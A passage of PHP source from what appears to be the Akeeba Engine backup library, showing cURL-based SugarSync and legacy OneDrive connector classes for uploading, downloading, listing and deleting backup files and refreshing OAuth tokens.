	 * @param   string|null  $fileName   Name of the remote file, or null if a full path is provided in $container
	 * @param   string       $localFile  Full path to the local file to upload
	 *
	 * @return boolean True on success
	 *
	 * @throws SugarsyncException
	 */
	public function uploadFile($container, $fileName = null, $localFile = null)
	{
		if (substr($container, 0, 4) != ':sc:')
		{
			if (empty($fileName))
			{
				$pathParts = explode('/', $container);
				$fileName  = array_pop($pathParts);
				$container = implode('/', $pathParts);
			}

			$container = $this->resolveFolder($container, true);
		}

		// First check if the file already exists
		$files = $this->getFiles($container);

		if (!array_key_exists($fileName, $files))
		{
			$fileID = $this->createFile($container, $fileName);
		}
		else
		{
			$fileID = $files[$fileName];
		}

		$descriptor = [
			'method' => 'file/' . $fileID . '/data',
			'verb'   => 'PUT',
			'data'   => $localFile,
		];
		$ret        = $this->apiCall($descriptor);

		return true;
	}

	/**
	 * Creates an (empty) file
	 *
	 * @param   string       $container  Folder ID, or path to the folder, or full path to the file
	 * @param   string|null  $fileName   Name of the remote file, or null if a full path is provided in $container
	 *
	 * @return string The file ID
	 *
	 * @throws SugarsyncException
	 */
	public function createFile($container, $fileName = null, $mimeType = 'application/octet-stream')
	{
		if (substr($container, 0, 4) != ':sc:')
		{
			if (empty($fileName))
			{
				$pathParts = explode('/', $container);
				$fileName  = array_pop($pathParts);
				$container = implode('/', $pathParts);
			}
			$container = $this->resolveFolder($container, true);
		}

		// First check if the file already exists
		$files = $this->getFiles($container);

		if (array_key_exists($fileName, $files))
		{
			return $files[$fileName];
		}

		$xml = '<?xml version="1.0" encoding="UTF-8" ?>';
		$xml .= '<file>';
		$xml .= '<displayName>' . Utf8::utf8_encode($fileName) . '</displayName>';
		$xml .= '<mediaType>' . $mimeType . '</mediaType>';
		$xml .= '</file>';

		$descriptor = [
			'method'         => 'folder/' . $container,
			'verb'           => 'POST',
			'data'           => $xml,
			'return_headers' => true,
		];
		$ret        = $this->apiCall($descriptor);

		$result = $ret['result'];

		// Extract the URL
		if (preg_match('/Location:(.*?)\r/i', $result, $m))
		{
			$url = $m[1];
		}
		else
		{
			$url = '/';
		}

		$urlParts = explode('/', $url);

		return array_pop($urlParts);
	}

	/**
	 * Downloads a file
	 *
	 * @param   string       $container  A folder ID, or a folder path or a full path to the file to download
	 * @param   string|null  $file       Remote filename or null if $container is a full path
	 * @param   string|null  $localFile  Full path to the local file to write the data. If null, the raw file data will
	 *                                   be returned by this method.
	 */
	public function downloadFile($container, $file, $localFile = null)
	{
		if (substr($container, 0, 4) != ':sc:')
		{
			if (empty($file))
			{
				$pathParts = explode('/', $container);
				$file      = array_pop($pathParts);
				$container = implode('/', $pathParts);
			}
			$container = $this->resolveFolder($container);
		}

		// First check if the file already exists
		$files = $this->getFiles($container);

		if (array_key_exists($file, $files))
		{
			$fileID = $files[$file];
		}
		else
		{
			throw new SugarsyncException("File not found");
		}

		$descriptor = [
			'method' => 'file/' . $fileID . '/data',
			'verb'   => 'GET',
			'data'   => $localFile,
		];
		$ret        = $this->apiCall($descriptor);

		if (empty($localFile))
		{
			return $ret['result'];
		}
	}

	public function deleteFile($container, $file = null)
	{
		if (substr($container, 0, 4) != ':sc:')
		{
			if (empty($file))
			{
				$pathParts = explode('/', $container);
				$file      = array_pop($pathParts);
				$container = implode('/', $pathParts);
			}
			$container = $this->resolveFolder($container);
		}

		// First check if the file already exists
		$files = $this->getFiles($container);

		if (array_key_exists($file, $files))
		{
			$fileID = $files[$file];
		}
		else
		{
			throw new SugarsyncException("File not found");
		}

		$descriptor = [
			'method' => 'file/' . $fileID,
			'verb'   => 'DELETE',
		];
		$ret        = $this->apiCall($descriptor);

		return true;
	}

	/**
	 * Resolves a folder path to a folder ID
	 *
	 * @staticvar array $mappedFolders Cache of folder names to folder IDs
	 *
	 * @param   string  $folder         The path to the folder
	 * @param   bool    $createMissing  Should I create any folders which do not exist along the way?
	 *
	 * @return string The folder ID
	 */
	protected function resolveFolder($folder, $createMissing = false)
	{
		static $mappedFolders = [];

		if (!array_key_exists($folder, $mappedFolders))
		{
			// Break the folder into bits and pieces
			$folderParts = explode('/', $folder);

			// First, let's fetch a list of top-level sync folders
			$syncFolders = $this->getSyncFolders();

			// Is our top-level folder really a top-level folder?
			if (!array_key_exists($folderParts[0], $syncFolders))
			{
				// Treason! The user did not use a top-level folder!
				if (array_key_exists('Magic Briefcase', $syncFolders))
				{
					// OK, let's use the user's "Magic Briefcase"
					array_unshift($folderParts, 'Magic Briefcase');
				}
				else
				{
					// This should normally never, ever be executed
					$randomFolder = array_shift($syncFolders);
					array_unshift($syncFolders, $randomFolder);
					array_unshift($folderParts, 'Magic Briefcase');
				}
			}

			// Get the ID of the top-level folder
			$toplevelFolder = array_shift($folderParts);
			$toplevelID     = $syncFolders[$toplevelFolder];

			$folderID = $this->folderReduce($folderParts, $toplevelID, $createMissing);

			$mappedFolders[$folder] = $folderID;
		}

		return $mappedFolders[$folder];
	}

	/**
	 * Recursive internal function to reduce a stack of path parts to an ID.
	 * Used by resolveFolder().
	 *
	 * @param   array   $stack          Stack of path parts to resolve
	 * @param   string  $id             Folder ID relative to which I should resolve the stack
	 * @param   bool    $createMissing  Should I create missing folders along the way
	 *
	 * @return string The folder ID to which the stack resolves
	 *
	 * @throws SugarsyncException
	 */
	protected function folderReduce($stack, $id, $createMissing = false)
	{
		// Is the path fully reduced?
		if (empty($stack))
		{
			return $id;
		}

		// No? Get the next path fragment
		$search = array_shift($stack);

		// If the fragment is empty the path is, in fact, fully reduced.
		if (empty($search))
		{
			return $id;
		}

		$descriptor = [
			'method' => 'folder/' . $id . '/contents?type=folder',
			'verb'   => 'GET',
		];
		$ret        = $this->apiCall($descriptor);

		$xml = $ret['result'];
		$dom = new DOMDocument('1.0', 'UTF-8');
		$dom->loadXML($xml);
		$collections = $dom->getElementsByTagName('collection');
		$folders     = [];
		for ($i = 0; $i < $collections->length; $i++)
		{
			/** @var DOMElement $item */
			$item           = $collections->item($i);
			$name           = $item->getElementsByTagName('displayName')->item(0)->nodeValue;
			$ref            = $item->getElementsByTagName('ref')->item(0)->nodeValue;
			$refParts       = explode('/', $ref);
			$xid            = array_pop($refParts);
			$folders[$name] = $xid;
		}
		unset($dom);

		if (array_key_exists($search, $folders))
		{
			// Folder found; recurse
			return $this->folderReduce($stack, $folders[$search], $createMissing);
		}
		else
		{
			// The folder was not found
			if ($createMissing)
			{
				$newId = $this->createFolder($id, $search);

				return $this->folderReduce($stack, $newId, $createMissing);
			}
			else
			{
				throw new SugarsyncException("The requested folder could not be located in your SugarSync account");
			}
		}
	}

	/**
	 * Calls SugarSync's API and returns the results
	 *
	 * @param   array  $descriptor  An array describing the API call you want to make
	 *
	 * @return array
	 * @throws SugarsyncException
	 */
	protected function apiCall($descriptor = [])
	{
		// Get data from descriptor
		$suffix        = array_key_exists('method', $descriptor) ? $descriptor['method'] : '';
		$data          = array_key_exists('data', $descriptor) ? $descriptor['data'] : '';
		$verb          = array_key_exists('verb', $descriptor) ? $descriptor['verb'] : 'GET';
		$auth          = array_key_exists('auth', $descriptor) ? $descriptor['auth'] : true;
		$heads         = array_key_exists('headers', $descriptor) ? $descriptor['headers'] : [];
		$returnHeaders = array_key_exists('return_headers', $descriptor) ? $descriptor['return_headers'] : false;
		$silenceErrors = array_key_exists('shutup', $descriptor) ? $descriptor['shutup'] : false;

		// Make sure the HTTP verb is a supported one
		if (!in_array($verb, ['GET', 'POST', 'PUT', 'DELETE']))
		{
			$verb = 'GET';
		}

		// Calculate the URL
		$url = $this->apiURL . '/' . $suffix;

		// Create the HTTP headers array
		$headers = [
			'Expect:',
		];
		$headers = array_merge($headers, $heads);

		// Handle extra headers for authorised API calls
		if ($auth && !$this->isConnected())
		{
			$this->connect();
		}
		if ($auth)
		{
			$headers[] = 'Authorization: ' . $this->accessToken;
		}

		$ch = curl_init($url);

		$this->applyProxySettingsToCurl($ch);

		curl_setopt($ch, CURLOPT_USERAGENT, $this->userAgent);
		@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

		@curl_setopt($ch, CURLOPT_CAINFO, AKEEBA_CACERT_PEM);

		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);

		$fp = null;
		switch ($verb)
		{
			case 'POST':
				curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
				curl_setopt($ch, CURLOPT_POST, true);
				$headers[] = 'Content-Type: application/xml; charset=UTF-8';
				$headers[] = 'Content-Length: ' . strlen($data);
				break;

			case 'PUT':
				if (is_file($data) && is_readable($data))
				{
					$headers[] = 'Content-Length: ' . filesize($data);
					$fp        = fopen($data, 'r');
					curl_setopt($ch, CURLOPT_PUT, true);
					curl_setopt($ch, CURLOPT_INFILE, $fp);
					curl_setopt($ch, CURLOPT_INFILESIZE, filesize($data));

					// Some broken cURL versions cause an error. Forcing HTTP/1.1 seems to be fixing it.
					if (defined('CURLOPT_HTTP_VERSION') && defined('CURL_HTTP_VERSION_1_1'))
					{
						curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
					}
				}
				else
				{
					throw new SugarsyncException("$data is not readable; can not upload to SugarSync");
				}
				break;

			case 'DELETE':
				curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'DELETE');
				break;

			case 'GET':
				if (!empty($data))
				{
					$fp = fopen($data, 'w');
					curl_setopt($ch, CURLOPT_FILE, $fp);
				}
				curl_setopt($ch, CURLOPT_POST, false);
				break;
		}

		curl_setopt($ch, CURLINFO_HEADER_OUT, true);
		curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
		if ($returnHeaders)
		{
			curl_setopt($ch, CURLOPT_HEADER, true);
		}

		$result = curl_exec($ch);
		$info   = curl_getinfo($ch);
		$errno  = curl_errno($ch);
		$error  = curl_error($ch);

		if (version_compare(PHP_VERSION, '8.5.0', 'lt'))
		{
			@curl_close($ch);
		}

		if (!is_null($fp))
		{
			$this->conditionalFileClose($fp);
		}

		if (!$silenceErrors && ($errno != 0))
		{
			throw new SugarsyncException("Network error [$errno]: $error");
		}

		$ret = [
			'result' => $result,
			'info'   => $info,
			'errno'  => $errno,
			'error'  => $error,
		];

		$http_code = $info['http_code'];

		if ($silenceErrors || (($http_code >= 200) && ($http_code <= 299)))
		{
			return $ret;
		}

		if ($http_code == 400)
		{
			throw new SugarsyncException("HTTP Error [$http_code]: Required information was not provided to SugarSync");
		}

		if ($http_code == 401)
		{
			throw new SugarsyncException("HTTP Error [$http_code]: The credentials were rejected by SugarSync. Check the Access Key ID, Private Access Key, Email and Password in your configuration.");
		}

		if ($http_code == 403)
		{
			throw new SugarsyncException("HTTP Error [$http_code]: Failed authentication.");
		}

		if ($http_code == 404)
		{
			throw new SugarsyncException("HTTP Error [$http_code]: Not found.");
		}

		throw new SugarsyncException("HTTP Error [$http_code]: Server Error; SugarSync's API service may be down or experiencing a technical problem");
	}
}
PK     \dA,a  a  ;  vendor/akeeba/engine/engine/Postproc/Connector/OneDrive.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Postproc\ProxyAware;
use Akeeba\Engine\Util\FileCloseAware;
use Exception;
use RuntimeException;

/**
 * OneDrive (consumer / personal) API connector.
 *
 * @deprecated Legacy consumer OneDrive (api.onedrive.com) connector. Superseded by the OneDriveBusiness connector
 *             using the modern Microsoft Graph API. Retained only for backwards compatibility.
 */
class OneDrive
{
	use FileCloseAware;
	use ProxyAware;

	/**
	 * The URL of the helper script which is used to get fresh API tokens
	 */
	public const helperUrl = 'https://www.akeeba.com/oauth2/onedrive.php';

	/**
	 * Size limit for single part uploads
	 */
	public const simpleUploadSizeLimit = 104857600;

	/**
	 * Item property to set the name conflict behavior
	 */
	public const nameConflictBehavior = '@name.conflictBehavior';

	/**
	 * Refresh the access token proactively when it is within this many seconds of expiring. OneDrive / Microsoft Graph
	 * access tokens are short-lived (typically one hour); refreshing a little before expiry prevents the token from
	 * lapsing in the middle of a long-running backup, which is the cause of intermittent, hard-to-reproduce
	 * upload/download failures.
	 */
	private const tokenExpirationThreshold = 300;

	/**
	 * The access token for connecting to OneDrive
	 *
	 * @var string
	 */
	protected $accessToken = '';

	/**
	 * The refresh token used to get a new access token for OneDrive
	 *
	 * @var string
	 */
	protected $refreshToken = '';

	/**
	 * The root URL for the OneDrive API, ref http://onedrive.github.io/README.htm
	 */
	protected $rootUrl = 'https://api.onedrive.com/v1.0/';

	/**
	 * Default cURL options
	 *
	 * @var array
	 */
	protected $defaultOptions = [
		CURLOPT_SSL_VERIFYPEER => true,
		CURLOPT_SSL_VERIFYHOST => true,
		CURLOPT_VERBOSE        => false,
		CURLOPT_HEADER         => false,
		CURLINFO_HEADER_OUT    => false,
		CURLOPT_RETURNTRANSFER => true,
		CURLOPT_CAINFO         => AKEEBA_CACERT_PEM,
	];

	/**
	 * Download ID to use with the helper URL
	 *
	 * @var string
	 */
	protected $dlid = '';

	/**
	 * UNIX timestamp at which the current access token expires. 0 means "unknown" — e.g. a token supplied from saved
	 * configuration whose lifetime we have not learned yet. It is populated from the `expires_in` value OneDrive returns
	 * whenever the token is refreshed.
	 *
	 * @var int
	 */
	private $tokenExpiration = 0;

	/**
	 * Public constructor
	 *
	 * @param   string  $accessToken   The access token for accessing OneDrive
	 * @param   string  $refreshToken  The refresh token for getting new access tokens for OneDrive
	 * @param   string  $dlid          The akeeba.com Download ID, used whenever you try to refresh the token
	 */
	public function __construct($accessToken, $refreshToken, $dlid)
	{
		$this->accessToken  = $accessToken;
		$this->refreshToken = $refreshToken;
		$this->dlid         = $dlid;
	}

	/**
	 * Try to ping OneDrive, refresh the token if it's expired and return the refresh results.
	 *
	 * If no refresh was required 'needs_refresh' will be false.
	 *
	 * If refresh was required 'needs_refresh' will be true and the rest of the keys will be as returned by OneDrive.
	 *
	 * If the refresh failed you'll get a RuntimeException.
	 *
	 * @param   bool  $forceRefresh  Set to true to forcibly refresh the tokens
	 *
	 * @return  array
	 *
	 * @throws  RuntimeException
	 */
	public function ping($forceRefresh = false)
	{
		// Initialization
		$response = [
			'needs_refresh' => false,
		];

		if (!$forceRefresh)
		{
			if (!empty($this->tokenExpiration))
			{
				// We know when the token expires: refresh PROACTIVELY once it is at — or within a safety margin of —
				// expiry, so it cannot lapse mid-operation. This avoids the race where a "test" call succeeds but the
				// token then expires moments later during the real request (the cause of intermittent failures).
				$response['needs_refresh'] = (time() + self::tokenExpirationThreshold) >= $this->tokenExpiration;
			}
			else
			{
				// We do NOT know this token's expiry (e.g. it was supplied from saved configuration). Fall back to
				// probing the API with it and refreshing only if that probe fails.
				try
				{
					$this->getDriveInformation();
				}
				catch (RuntimeException $e)
				{
					$response['needs_refresh'] = true;
				}
			}
		}

		// If there is no need to refresh the tokens, return
		if (!$response['needs_refresh'] && !$forceRefresh)
		{
			return $response;
		}

		$refreshResponse = $this->refreshToken();

		return array_merge($response, $refreshResponse);
	}

	/**
	 * Return information about the default Drive in the account
	 *
	 * @return  array  See http://onedrive.github.io/resources/drive.htm
	 */
	public function getDriveInformation()
	{
		$relativeUrl = 'drive';

		$result = $this->fetch('GET', $relativeUrl);

		return $result;
	}

	/**
	 * Get the raw listing of a folder
	 *
	 * @param   string  $path          The relative path of the folder to list its contents
	 * @param   string  $searchString  If set returns only items matching the search criteria
	 *
	 * @return  array  See http://onedrive.github.io/items/list.htm
	 */
	public function getRawContents($path, $searchString = null)
	{
		$relativeUrl = $this->normalizeDrivePath($path, 'children');

		if ($searchString)
		{
			$relativeUrl = $this->normalizeDrivePath($path, 'view.search');
		}

		$relativeUrl .= '?orderby=name%20asc';

		if ($searchString)
		{
			$relativeUrl .= '&q=' . urlencode($searchString);
		}

		$result = $this->fetch('GET', $relativeUrl);

		return $result;
	}

	/**
	 * Get the processed listing of a folder
	 *
	 * @param   string  $path          The relative path of the folder to list its contents
	 * @param   string  $searchString  If set returns only items matching the search criteria
	 *
	 * @return  array  Two arrays under keys folders and files. Each array's key is the file/folder name, the value is
	 *                 number of children (folder) or size in bytes (file)
	 */
	public function listContents($path = '/', $searchString = null)
	{
		$result = $this->getRawContents($path, $searchString);

		$return = [
			'files'   => [],
			'folders' => [],
		];

		if (!isset($result['value']) || !count($result['value']))
		{
			return $return;
		}

		foreach ($result['value'] as $item)
		{
			if (isset($item['folder']) && isset($item['folder']['childCount']))
			{
				$return['folders'][$item['name']] = $item['folder']['childCount'];

				continue;
			}

			$return['files'][$item['name']] = $item['size'];
		}

		return $return;
	}

	/**
	 * Delete a file
	 *
	 * @param   string  $path         The relative path to the file to delete
	 * @param   bool    $failOnError  Throw exception if the deletion fails? Default true.
	 *
	 * @return  bool  True on success
	 *
	 * @throws  Exception
	 */
	public function delete($path, $failOnError = true)
	{
		$relativeUrl = $this->normalizeDrivePath($path);

		try
		{
			$result = $this->fetch('DELETE', $relativeUrl, ['expect-status' => '204']);
		}
		catch (Exception $e)
		{
			if (!$failOnError)
			{
				return false;
			}

			throw $e;
		}

		return true;
	}

	/**
	 * Download a remote file
	 *
	 * @param   string  $path       The path of the file in OneDrive
	 * @param   string  $localFile  The absolute filesystem path where the file will be downloaded to
	 */
	public function download($path, $localFile)
	{
		$relativeUrl = $this->normalizeDrivePath($path, 'content');

		$this->fetch('GET', $relativeUrl, [
			'file' => $localFile,
		]);
	}

	/**
	 * Get a signed download URL for the remote file with the specified relative path to Drive's root
	 *
	 * @param   string  $path   Relative path to Drive's root
	 * @param   bool    $retry  Should I try to refresh the token and retry getting a URL if getting the URL fails?
	 *
	 * @return  string  Signed URL to download the file's contents
	 */
	public function getSignedUrl($path, $retry = true)
	{
		$relativeUrl = $this->normalizeDrivePath($path, 'content');

		$additional = [
			'curl-options'    => [
				CURLOPT_HEADER => 1,
			],
			'no-parse'        => true,
			'follow-redirect' => false,
		];

		$response = $this->fetch('GET', $relativeUrl, $additional);
		$lines    = explode("\r\n", $response);

		foreach ($lines as $line)
		{
			if (stripos($line, 'Location: ') === 0)
			{
				[$header, $location] = explode(': ', $line, 2);

				return $location . '?access_token=' . $this->accessToken;
			}
		}

		// Hm, we seem to have failed. This probably means that we need to refresh the tokens. Should I?
		if ($retry)
		{
			$this->refreshToken();

			return $this->getSignedUrl($path, false);
		}

		throw new RuntimeException('Could not get the download URL', 500);
	}

	/**
	 * Uploads a file of up to 100Mb in size.
	 *
	 * @param   string  $path       The remote path relative to Drive root
	 * @param   string  $localFile  The absolute local filesystem path
	 *
	 * @return  array  See http://onedrive.github.io/items/upload_put.htm
	 */
	public function simpleUpload($path, $localFile)
	{
		// Make sure this file is 100Mb or smaller
		clearstatcache();
		$filesize = @filesize($localFile);

		if ($filesize > static::simpleUploadSizeLimit)
		{
			throw new RuntimeException(sprintf("File size too big for simpleUpload (%s bigger than %u bytes).", $filesize, static::simpleUploadSizeLimit), 500);
		}

		// Get the relative URL
		$relativeUrl = $this->normalizeDrivePath($path, 'content') . '?' . urlencode(static::nameConflictBehavior) . '=replace';

		$additional = [
			'file'    => $localFile,
			'headers' => [
				'Content-Type: application/octet-stream',
			],
		];

		$response = $this->fetch('PUT', $relativeUrl, $additional);

		return $response;
	}

	/**
	 * Creates a new multipart upload session and returns its upload URL
	 *
	 * @param   string  $path  Relative path in the Drive
	 *
	 * @return  string  The upload URL for the session
	 */
	public function createUploadSession($path)
	{
		$relativeUrl = $this->normalizeDrivePath($path, 'upload.createSession');

		$explicitPost = (object) [
			'item' => [
				static::nameConflictBehavior => 'replace',
				'name'                       => basename($path),
			],
		];

		$explicitPost = json_encode($explicitPost);

		$info = $this->fetch('POST', $relativeUrl, [
			'headers' => [
				'Content-Type: application/json',
			],
		], $explicitPost);

		return $info['uploadUrl'];
	}

	/**
	 * Destroy an already started upload session
	 *
	 * @param   string  $url  The URL of the upload session
	 *
	 * @return  void
	 */
	public function destroyUploadSession($url)
	{
		$this->fetch('DELETE', $url, [
			'expect-status' => 204,
		]);
	}

	/**
	 * Upload a part
	 *
	 * @param   string  $sessionUrl  The upload session URL, see createUploadSession
	 * @param   string  $localFile   Absolute filesystem path of the source file
	 * @param   int     $from        Starting byte to begin uploading, default is 0 (start of file)
	 * @param   int     $length      Chunk size in bytes, default 10Mb, must NOT be over 60Mb!  MUST be a multiple of
	 *                               320Kb.
	 *
	 * @return  array  The upload information, see http://onedrive.github.io/items/upload_large_files.htm
	 */
	public function uploadPart($sessionUrl, $localFile, $from = 0, $length = 10485760)
	{
		clearstatcache();
		$totalSize = filesize($localFile);
		$to        = $from + $length - 1;

		if ($to > ($totalSize - 1))
		{
			$to = $totalSize - 1;
		}

		$contentLength = $to - $from + 1;

		$range = "$from-$to/$totalSize";

		$additional = [
			'headers' => [
				'Content-Length: ' . $contentLength,
				'Content-Range: bytes ' . $range,
			],
		];

		$fp = @fopen($localFile, 'r');

		if ($fp === false)
		{
			throw new RuntimeException("Could not open $localFile for reading", 500);
		}

		fseek($fp, $from);
		$data = fread($fp, $contentLength);
		$this->conditionalFileClose($fp);

		return $this->fetch('PUT', $sessionUrl, $additional, $data);
	}

	/**
	 * Upload a file using multipart uploads. Useful for large files.
	 *
	 * @param   string  $path       Relative path in the Drive
	 * @param   string  $localFile  Absolute filesystem path of the source file
	 * @param   int     $partSize   Part size in bytes, default 10Mb, must NOT be over 60Mb! MUST be a multiple of
	 *                              320Kb.
	 *
	 * @return  array  See http://onedrive.github.io/items/upload_large_files.htm
	 */
	public function resumableUpload($path, $localFile, $partSize = 10485760)
	{
		$sessionUrl = $this->createUploadSession($path);
		$from       = 0;

		while (true)
		{
			try
			{
				$result = $this->uploadPart($sessionUrl, $localFile, $from, $partSize);
			}
			catch (RuntimeException $e)
			{
				try
				{
					$this->destroyUploadSession($sessionUrl);
				}
				catch (RuntimeException $ex)
				{
				}

				throw $e;
			}

			$from += $partSize;

			// If the result doesn't have nextExpectedRanges we have finished uploading.
			if (isset($result['name']))
			{
				return $result;
			}
		}
	}

	/**
	 * Automatically decides which upload method to use to upload a file to OneDrive. This method will return when the
	 * entire file has been uploaded. If you want to implement staggered uploads use the createUploadSession and
	 * uploadPart methods.
	 *
	 * @param   string  $path       The remote path relative to Drive root
	 * @param   string  $localFile  The absolute local filesystem path
	 *
	 * @return  array  See http://onedrive.github.io/items/upload_put.htm
	 */
	public function upload($path, $localFile)
	{
		clearstatcache();
		$filesize = @filesize($localFile);

		// Bigger than the single part upload limit: use resumable uploads with default size (10Mb) parts
		if ($filesize > static::simpleUploadSizeLimit)
		{
			return $this->resumableUpload($path, $localFile);
		}

		// Smaller files, use simple upload
		return $this->simpleUpload($path, $localFile);
	}

	/**
	 * Make a directory (including all of its parent directories) if the directory doesn't exist. If it already exists
	 * nothing happens. If it doesn't exist and cannot be created an exception is raised.
	 *
	 * @param   string  $path  The path to create
	 *
	 * @throws Exception
	 */
	public function makeDirectory($path)
	{
		$path = trim($path, '/');

		// Empty path means that it already exists (it's the Drive's root)
		if (empty($path))
		{
			return;
		}

		// Get the parent path and the directory components of the path
		$parentPath = '/';
		$folder     = $path;

		if (strpos($path, '/') !== false)
		{
			$pathParts  = explode('/', $path);
			$folder     = array_pop($pathParts);
			$parentPath = implode('/', $pathParts);
		}

		// Try to list parent contents. If an error occurs, it means the folder doesn't exist
		try
		{
			$this->listContents($parentPath, $folder);
		}
		catch (Exception $e)
		{
			// The parent folder doesn't exist. Create it!
			$this->makeDirectory($parentPath);
		}

		// We have to create a new folder $folder in parent folder $parentPath.
		$relativeUrl = $this->normalizeDrivePath($parentPath, 'children');
		$request     = (object) [
			'name'   => $folder,
			'folder' => (object) [],
		];
		$requestJSON = json_encode($request);

		// We always try to create the directory and handle the exception. We have to do that since OneDrive
		// has a kind of cache: this means that if we create a directory and then try to list the parent folder
		// it *may* be not listed. So the only workaround is to always try to create it
		// and ignore "nameAlreadyExists" exceptions
		try
		{
			$this->fetch('POST', $relativeUrl, [
				'headers' => [
					'Content-Type: application/json',
				],
			], $requestJSON);
		}
			// Seems OneDrive has no named exceptions, so I have to catch everything and re-throw it
		catch (Exception $e)
		{
			// If it's not an "already exist" error, re-throw it
			if (stripos($e->getMessage(), 'nameAlreadyExists') === false)
			{
				throw $e;
			}
		}
	}

	/**
	 * Refresh the access token.
	 *
	 * @return array|string  The result coming from OneDrive
	 */
	public function refreshToken()
	{
		$refreshUrl = $this->getRefreshUrl();

		$refreshResponse = $this->fetch('GET', $refreshUrl);

		$this->refreshToken = $refreshResponse['refresh_token'] ?? $this->refreshToken;
		$this->accessToken  = $refreshResponse['access_token'] ?? $this->accessToken;

		// Record when the freshly minted access token will expire so ping() can refresh it proactively next time.
		if (isset($refreshResponse['expires_in']))
		{
			$this->tokenExpiration = time() + (int) $refreshResponse['expires_in'];
		}

		$refreshResponse['refresh_token']    = $this->refreshToken;
		$refreshResponse['access_token']     = $this->accessToken;
		$refreshResponse['token_expiration'] = $this->tokenExpiration;

		return $refreshResponse;
	}

	/**
	 * Get the UNIX timestamp at which the current access token expires (0 if unknown).
	 *
	 * @return  int
	 */
	public function getTokenExpiration()
	{
		return $this->tokenExpiration;
	}

	/**
	 * Restore a previously persisted access-token expiry timestamp, so ping() can refresh proactively without first
	 * having to probe the API. Pass 0 to mark the expiry as unknown.
	 *
	 * @param   int  $tokenExpiration  UNIX timestamp at which the access token expires.
	 *
	 * @return  void
	 */
	public function setTokenExpiration($tokenExpiration)
	{
		$this->tokenExpiration = (int) $tokenExpiration;
	}

	/**
	 * Execute an API call
	 *
	 * @param   string  $method        The HTTP method
	 * @param   string  $relativeUrl   The relative URL to ping
	 * @param   array   $additional    Additional parameters
	 * @param   mixed   $explicitPost  Passed explicitly to POST requests if set, otherwise $additional is passed.
	 *
	 * @return  array|string
	 * @throws  RuntimeException
	 *
	 */
	protected function fetch($method, $relativeUrl, array $additional = [], $explicitPost = null)
	{
		// Get full URL, if required
		$url     = $relativeUrl;
		$useAuth = true;

		if (substr($relativeUrl, 0, 6) != 'https:')
		{
			$url = $this->rootUrl . ltrim($relativeUrl, '/');
		}
		else
		{
			$useAuth = false;
		}

		// Should I expect a specific header?
		$expectHttpStatus = false;

		if (isset($additional['expect-status']))
		{
			$expectHttpStatus = $additional['expect-status'];
			unset($additional['expect-status']);
		}

		// Am I told to not parse the result?
		$noParse = false;

		if (isset($additional['no-parse']))
		{
			$noParse = $additional['no-parse'];
			unset ($additional['no-parse']);
		}

		// Am I told not to follow redirections?
		$followRedirect = true;

		if (isset($additional['follow-redirect']))
		{
			$followRedirect = $additional['follow-redirect'];
			unset ($additional['follow-redirect']);
		}

		// Initialise and execute a cURL request
		$ch = curl_init($url);

		$this->applyProxySettingsToCurl($ch);

		// Get the default options array
		$options = $this->defaultOptions;

		// Do I have explicit cURL options to add?
		if (isset($additional['curl-options']) && is_array($additional['curl-options']))
		{
			// We can't use array_merge since we have integer keys and array_merge reassigns them :(
			foreach ($additional['curl-options'] as $k => $v)
			{
				$options[$k] = $v;
			}
		}

		// Set up custom headers
		$headers = [];

		if (isset($additional['headers']))
		{
			$headers = $additional['headers'];
			unset ($additional['headers']);
		}

		// Add the authorization header
		if ($useAuth)
		{
			$headers[] = 'Authorization: bearer ' . $this->accessToken;
		}

		$options[CURLOPT_HTTPHEADER] = $headers;

		// Handle files
		$file = null;
		$fp   = null;

		if (isset($additional['file']))
		{
			$file = $additional['file'];
			unset ($additional['file']);
		}

		if (!isset($additional['fp']) && !empty($file))
		{
			$mode = ($method == 'GET') ? 'w' : 'r';
			$fp   = @fopen($file, $mode);
		}
		elseif (isset($additional['fp']))
		{
			$fp = $additional['fp'];
			unset($additional['fp']);
		}

		// Set up additional options
		if ($method == 'GET' && $fp)
		{
			$options[CURLOPT_RETURNTRANSFER] = false;
			$options[CURLOPT_HEADER]         = false;
			$options[CURLOPT_FILE]           = $fp;

			if (!$expectHttpStatus)
			{
				$expectHttpStatus = 200;
			}
		}
		elseif ($method == 'POST')
		{
			$options[CURLOPT_POST] = true;

			if ($explicitPost)
			{
				$options[CURLOPT_POSTFIELDS] = $explicitPost;
			}
			elseif (!empty($additional))
			{
				$options[CURLOPT_POSTFIELDS] = $additional;
			}
		}
		elseif ($method == 'PUT' && $fp)
		{
			$options[CURLOPT_PUT]    = true;
			$options[CURLOPT_INFILE] = $fp;

			// Some broken cURL versions cause an error. Forcing HTTP/1.1 seems to be fixing it.
			if (defined('CURLOPT_HTTP_VERSION') && defined('CURL_HTTP_VERSION_1_1'))
			{
				$options[CURLOPT_HTTP_VERSION] = CURL_HTTP_VERSION_1_1;
			}

			if ($file)
			{
				clearstatcache();
				$options[CURLOPT_INFILESIZE] = @filesize($file);
			}
			else
			{
				$options[CURLOPT_INFILESIZE] = strlen(stream_get_contents($fp));
			}

			fseek($fp, 0);
		}
		else // Any other HTTP method, e.g. DELETE
		{
			$options[CURLOPT_CUSTOMREQUEST] = $method;

			if ($explicitPost)
			{
				$options[CURLOPT_POSTFIELDS] = $explicitPost;
			}
			elseif (!empty($additional))
			{
				$options[CURLOPT_POSTFIELDS] = $additional;
			}
		}

